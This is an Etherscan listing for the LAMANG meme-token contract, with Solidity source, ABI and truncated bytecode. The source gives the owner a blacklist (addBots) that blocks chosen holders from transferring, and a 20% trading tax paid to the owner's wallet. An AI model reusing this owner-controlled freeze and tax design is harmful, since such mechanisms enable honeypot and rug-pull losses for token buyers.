Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 LAMANG
Holders
68
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Contract
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-19 */ // SPDX-License-Identifier: MIT /* https://x.com/KhaokheowZoo/status/1802918913761763411 */ pragma solidity 0.8.26; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Contract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; string private constant _name = unicode"Moodeng's friend"; string private constant _symbol = unicode"LAMANG"; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=0; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 420690000000 * 10**_decimals; uint256 public _maxTxAmount = 8413800000 * 10**_decimals; uint256 public _maxWalletSize = 8413800000 * 10**_decimals; uint256 public _taxSwapThreshold= _tTotal / 50; uint256 public _maxTaxSwap= _tTotal / 50; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private takeTax = true; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _taxWallet = payable(address(owner())); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (takeTax) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this)){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < 3, "Only 3 sells per block!"); swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } sellCount++; lastSellBlock = block.number; } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() public onlyOwner() { require(!tradingOpen, "trading is already open"); address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uniswapV2Router = IUniswapV2Router02(routerAddress); takeTax = false; _approve(address(this), msg.sender, type(uint256).max); transfer(address(this), balanceOf(msg.sender)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)).mul(100 - 15).div(100),0,0,owner(),block.timestamp); takeTax = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function manualsend() external { require(_msgSender()==_taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460065560146007555f6008555f6009556019600a556019600b555f600c555f600d556012600a61003691906105df565b6401f58066406100469190610629565b600e556012600a61005791906105df565b6401f58066406100679190610629565b600f5560326012600a61007a91906105df565b6461f313f88061008a9190610629565b6100949190610697565b60105560326012600a6100a791906105df565b6461f313f8806100b79190610629565b6100c19190610697565b6011555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055505f6014555f6015555f61012a61044060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101d461044760201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a61022191906105df565b6461f313f8806102319190610629565b60015f61024261044060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61029261044760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103ba61044060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a61041691906105df565b6461f313f8806104269190610629565b60405161043391906106d6565b60405180910390a36106ef565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156104f0578086048111156104cc576104cb61046e565b5b60018516156104db5780820291505b80810290506104e98561049b565b94506104b0565b94509492505050565b5f8261050857600190506105c3565b81610515575f90506105c3565b816001811461052b576002811461053557610564565b60019150506105c3565b60ff8411156105475761054661046e565b5b8360020a91508482111561055e5761055d61046e565b5b506105c3565b5060208310610133831016604e8410600b84101617156105995782820a9050838111156105945761059361046e565b5b6105c3565b6105a684848460016104a7565b925090508184048111156105bd576105bc61046e565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6105e9826105ca565b91506105f4836105d3565b92506106217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846104f9565b905092915050565b5f610633826105ca565b915061063e836105ca565b925082820261064c816105ca565b915082820484148315176106635761066261046e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106a1826105ca565b91506106ac836105ca565b9250826106bc576106bb61066a565b5b828204905092915050565b6106d0816105ca565b82525050565b5f6020820190506106e95f8301846106c7565b92915050565b61340e806106fc5f395ff3fe608060405260043610610138575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103d9578063a9059cbb14610403578063bf474bed1461043f578063c9567bf914610469578063d34628cc1461047f578063dd62ed3e146104a75761013f565b8063715018a61461032f578063751039fc146103455780637d1db4a51461035b5780638da5cb5b146103855780638f9a55c0146103af5761013f565b8063313ce567116100fc578063313ce5671461023957806331c2d847146102635780633bbac5791461028b57806351bc3c85146102c75780636fc3eaec146102dd57806370a08231146102f35761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104e3565b60405161016491906123e5565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906124a3565b610520565b6040516101a091906124fb565b60405180910390f35b3480156101b4575f80fd5b506101bd61053d565b6040516101ca9190612523565b60405180910390f35b3480156101de575f80fd5b506101e7610543565b6040516101f49190612523565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e919061253c565b610567565b60405161023091906124fb565b60405180910390f35b348015610244575f80fd5b5061024d61063b565b60405161025a91906125a7565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612700565b610643565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612747565b610761565b6040516102be91906124fb565b60405180910390f35b3480156102d2575f80fd5b506102db6107b3565b005b3480156102e8575f80fd5b506102f161084a565b005b3480156102fe575f80fd5b5061031960048036038101906103149190612747565b6108b9565b6040516103269190612523565b60405180910390f35b34801561033a575f80fd5b506103436108ff565b005b348015610350575f80fd5b50610359610a4d565b005b348015610366575f80fd5b5061036f610b7f565b60405161037c9190612523565b60405180910390f35b348015610390575f80fd5b50610399610b85565b6040516103a69190612781565b60405180910390f35b3480156103ba575f80fd5b506103c3610bac565b6040516103d09190612523565b60405180910390f35b3480156103e4575f80fd5b506103ed610bb2565b6040516103fa91906123e5565b60405180910390f35b34801561040e575f80fd5b50610429600480360381019061042491906124a3565b610bef565b60405161043691906124fb565b60405180910390f35b34801561044a575f80fd5b50610453610c0c565b6040516104609190612523565b60405180910390f35b348015610474575f80fd5b5061047d610c12565b005b34801561048a575f80fd5b506104a560048036038101906104a09190612700565b6111d6565b005b3480156104b2575f80fd5b506104cd60048036038101906104c8919061279a565b6112f5565b6040516104da9190612523565b60405180910390f35b60606040518060400160405280601081526020017f4d6f6f64656e67277320667269656e6400000000000000000000000000000000815250905090565b5f61053361052c611377565b848461137e565b6001905092915050565b60115481565b5f6012600a6105529190612934565b6461f313f880610562919061297e565b905090565b5f610573848484611541565b6106308461057f611377565b61062b856040518060600160405280602881526020016133b16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105e2611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e619092919063ffffffff16565b61137e565b600190509392505050565b5f6012905090565b61064b611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612a09565b60405180910390fd5b5f5b815181101561075d575f60045f8484815181106106f9576106f8612a27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506106d9565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f3611377565b73ffffffffffffffffffffffffffffffffffffffff1614610812575f80fd5b5f61081c306108b9565b90505f8111156108305761082f81611ec3565b5b5f4790505f811115610846576108458161212e565b5b5050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661088a611377565b73ffffffffffffffffffffffffffffffffffffffff16146108a9575f80fd5b5f4790506108b68161212e565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610907611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098a90612a09565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a55611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890612a09565b60405180910390fd5b6012600a610aef9190612934565b6461f313f880610aff919061297e565b600e819055506012600a610b139190612934565b6461f313f880610b23919061297e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b589190612934565b6461f313f880610b68919061297e565b604051610b759190612523565b60405180910390a1565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f4c414d414e470000000000000000000000000000000000000000000000000000815250905090565b5f610c02610bfb611377565b8484611541565b6001905092915050565b60105481565b610c1a611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9d90612a09565b60405180910390fd5b601360149054906101000a900460ff1615610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90612a9e565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601360176101000a81548160ff021916908315150217905550610d9330337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61137e565b610da530610da0336108b9565b610bef565b5060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e10573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e349190612ad0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ede9190612ad0565b6040518363ffffffff1660e01b8152600401610efb929190612afb565b6020604051808303815f875af1158015610f17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3b9190612ad0565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fc63060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61137e565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061103460646110266055611018306108b9565b61219690919063ffffffff16565b61220d90919063ffffffff16565b5f8061103e610b85565b426040518863ffffffff1660e01b815260040161106096959493929190612b64565b60606040518083038185885af115801561107c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110a19190612bd7565b5050506001601360176101000a81548160ff02191690831515021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161115c929190612c27565b6020604051808303815f875af1158015611178573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119c9190612c78565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555050565b6111de611377565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126190612a09565b60405180910390fd5b5f5b81518110156112f157600160045f84848151811061128d5761128c612a27565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550808060010191505061126c565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e390612d13565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190612da1565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115349190612523565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a690612e2f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490612ebd565b60405180910390fd5b5f811161165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690612f4b565b60405180910390fd5b5f611668610b85565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116d657506116a6610b85565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bb15760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611779575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611781575f80fd5b601360179054906101000a900460ff16156117d5576117d260646117c4600a54600d54116117b1576006546117b5565b6008545b8561219690919063ffffffff16565b61220d90919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561187e575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118d1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561198b57600e5482111561191b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191290612fb3565b60405180910390fd5b600f5482611928856108b9565b6119329190612fd1565b1115611973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196a9061304e565b60405180910390fd5b600d5f8154809291906119859061306c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a1357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a5757611a546064611a46600b54600d5411611a3357600754611a37565b6009545b8561219690919063ffffffff16565b61220d90919063ffffffff16565b90505b5f611a61306108b9565b9050601360159054906101000a900460ff16158015611acc575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ae45750601360169054906101000a900460ff165b8015611af1575060105481115b8015611b005750600c54600d54115b15611baf57601554431115611b17575f6014819055505b600360145410611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b53906130fd565b60405180910390fd5b611b79611b7484611b6f84601154612256565b612256565b611ec3565b5f4790505f811115611b8f57611b8e4761212e565b5b60145f815480929190611ba19061306c565b919050555043601581905550505b505b5f811115611cb057611c098160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226e90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ca79190612523565b60405180910390a35b611d008260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612